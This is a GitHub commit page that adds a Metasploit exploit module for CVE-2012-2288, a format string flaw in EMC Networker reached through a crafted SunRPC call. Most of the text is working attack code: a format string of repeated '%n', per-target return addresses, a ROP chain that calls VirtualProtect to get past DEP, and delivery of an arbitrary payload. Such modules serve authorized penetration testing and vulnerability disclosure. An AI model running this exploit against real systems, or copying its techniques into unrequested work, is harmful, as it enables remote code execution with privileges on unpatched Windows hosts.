Skip to content

Commit e385aad

Browse files
committed
Merge remote branch 'jvazquez-r7/emc_networker_format_string'
2 parents 23cc2bd + 88c9916 commit e385aad

File tree

1 file changed

+127
-0
lines changed

1 file changed

+127
-0
lines changed
Lines changed: 127 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::SunRPC
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'EMC Networker Format String',
18+
'Description' => %q{
19+
This module exploits a format string vulnerability in the lg_sprintf function
20+
as implemented in liblocal.dll on EMC Networker products. This module exploits the
21+
vulnerability by using a specially crafted RPC call to the program number 0x5F3DD,
22+
version 0x02, and procedure 0x06. This module has been tested successfully on EMC
23+
Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass).
24+
},
25+
'Author' =>
26+
[
27+
'Aaron Portnoy', # Vulnerability Discovery and analysis
28+
'Luigi Auriemma <aluigi[at]autistici.org>', # Vulnerability Discovery and analysis
29+
'juan vazquez' # Metasploit module
30+
],
31+
'References' =>
32+
[
33+
[ 'CVE', '2012-2288' ],
34+
[ 'OSVDB', '85116' ],
35+
[ 'BID', '55330' ],
36+
[ 'URL', 'http://blog.exodusintel.com/2012/08/29/when-wrapping-it-up-goes-wrong/' ],
37+
[ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ]
38+
],
39+
'Platform' => [ 'win' ],
40+
'Payload' =>
41+
{
42+
'BadChars' => "\x00\x0d\x0a\x25\x2a",
43+
'DisableNops' => true,
44+
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
45+
},
46+
'Targets' =>
47+
[
48+
['EMC Networker 7.6 SP3 / Windows Universal',
49+
{
50+
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
51+
'Offset' => 156,
52+
'DEP' => true
53+
}
54+
],
55+
['EMC Networker 7.6 SP3 / Windows XP SP3',
56+
{
57+
'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll
58+
'Offset' => 156,
59+
'DEP' => false
60+
}
61+
],
62+
['EMC Networker 7.6 SP3 / Windows 2003 SP2',
63+
{
64+
'Ret' => 0x7c354dac, # ret from MSVCR71.dll
65+
'Offset' => 156,
66+
'DEP' => true
67+
}
68+
]
69+
],
70+
'DefaultTarget' => 0,
71+
'Privileged' => true,
72+
'DisclosureDate' => 'Aug 29 2012'))
73+
74+
end
75+
76+
def exploit
77+
78+
begin
79+
if (not sunrpc_create('tcp', 0x5F3DD, 2))
80+
fail_with(Exploit::Failure::Unknown, 'sunrpc_create failed')
81+
end
82+
83+
fs = "%n" * target['Offset']
84+
fs << [target.ret].pack("V") # push esp # ret from MSVCR71.dll
85+
if target['DEP']
86+
rop_gadgets =
87+
[
88+
# rop chain generated with mona.py
89+
0x7c354dab, # POP EBP # RETN [MSVCR71.dll]
90+
0x7c354dab, # skip 4 bytes [MSVCR71.dll]
91+
0x7c37678f, # POP EAX # RETN [MSVCR71.dll]
92+
0xfffffdff, # Value to negate, will become 0x00000201
93+
0x7c34d749, # NEG EAX # RETN [MSVCR71.dll]
94+
0x7c362688, # POP EBX # RETN [MSVCR71.dll]
95+
0xffffffff, #
96+
0x7c345255, # INC EBX # FPATAN # RETN [MSVCR71.dll]
97+
0x7c363cff, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [MSVCR71.dll]
98+
0x7c34592b, # POP EDX # RETN [MSVCR71.dll]
99+
0xffffffc0, # Value to negate, will become 0x00000040
100+
0x7c351eb1, # NEG EDX # RETN [MSVCR71.dll]
101+
0x7c37765f, # POP ECX # RETN [MSVCR71.dll]
102+
0x7c38ecfe, # &Writable location [MSVCR71.dll]
103+
0x7c34a490, # POP EDI # RETN [MSVCR71.dll]
104+
0x7c347f98, # RETN (ROP NOP) [MSVCR71.dll]
105+
0x7c364612, # POP ESI # RETN [MSVCR71.dll]
106+
0x7c3415a2, # JMP [EAX] [MSVCR71.dll]
107+
0x7c344cc1, # POP EAX # RETN [MSVCR71.dll]
108+
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
109+
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
110+
0x7c345c30, # ptr to 'push esp # ret ' [MSVCR71.dll]
111+
].pack("V*")
112+
fs << rop_gadgets
113+
end
114+
fs << payload.encoded
115+
116+
xdr = XDR.encode(0, 2, rand_text_alpha(10), XDR.encode(fs, rand_text_alpha(10)), 2)
117+
sunrpc_call(6, xdr)
118+
sunrpc_destroy
119+
120+
rescue Rex::Proto::SunRPC::RPCTimeout
121+
print_error('RPCTimeout')
122+
rescue EOFError
123+
print_error('EOFError')
124+
end
125+
end
126+
127+
end

0 commit comments

Comments
 (0)